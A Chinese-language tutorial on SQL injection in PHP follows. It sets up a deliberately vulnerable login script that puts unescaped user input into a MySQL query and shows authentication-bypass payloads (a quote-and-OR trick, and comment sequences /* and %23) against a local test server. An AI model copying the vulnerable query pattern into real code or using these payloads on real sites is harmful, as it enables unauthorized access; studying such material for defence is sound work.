先舉一個例子來跟大家了解PHP下的注入的特殊性和原理。當然,這個範例也可以告訴大家如何學習建構有效的SQL語句。
我們拿一個使用者驗證的例子,先建立一個資料庫和一個資料表並插入一筆記錄,如下:
PHP程式碼:
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 匯出表格中的資料`user`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
驗證使用者檔案的程式碼如下:
PHP程式碼:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("資料庫連線失敗");
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (empty($userinfo)){
echo "登陸失敗";
} else {
echo "登陸成功";
}
echo "<p>SQL Query:$sql<p>";
?>
這時我們提交:
http: //127.0.0.1/injection/user.php? username=angel'or 1=1
就會回傳:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F :wwwinjectionuser.php on line 13
登陸失敗
SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password='
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:wwwinjectionuser.php on line 13
看到了嗎?單引號閉合後,並沒有註解掉後面的單引號,導致單引號沒有正確配對,所以由此可知我們構造的語句不能讓Mysql正確執行,要重新構造:
http://127.0.0.1/injection/user.php?username=angel'or '1=1
這時顯示“登陸成功”,說明成功了。或提交:
http://127.0.0.1/injection/user.php?username=angel'/ *
http://127.0.0.1/injection/user.php?username=angel'%23
這樣就把後面的語句給註解掉了!說說這兩種提交的不同之處,我們提交的第一句是利用邏輯運算,在ASP中運用可以說是非常廣泛的,這個不用說了吧?第二、三句是根據mysql的特性,mysql支援/*和#兩種註解格式,所以我們提交的時候是把後面的程式碼註解掉,值得注意的是由於編碼問題,在IE位址欄裡提交#會變成空的,所以我們在網址列提交的時候,應該提交%23,才會變成#,就成功註釋了,這個比邏輯運算簡單得多了,由此可以看出PHP比ASP強大靈活多了。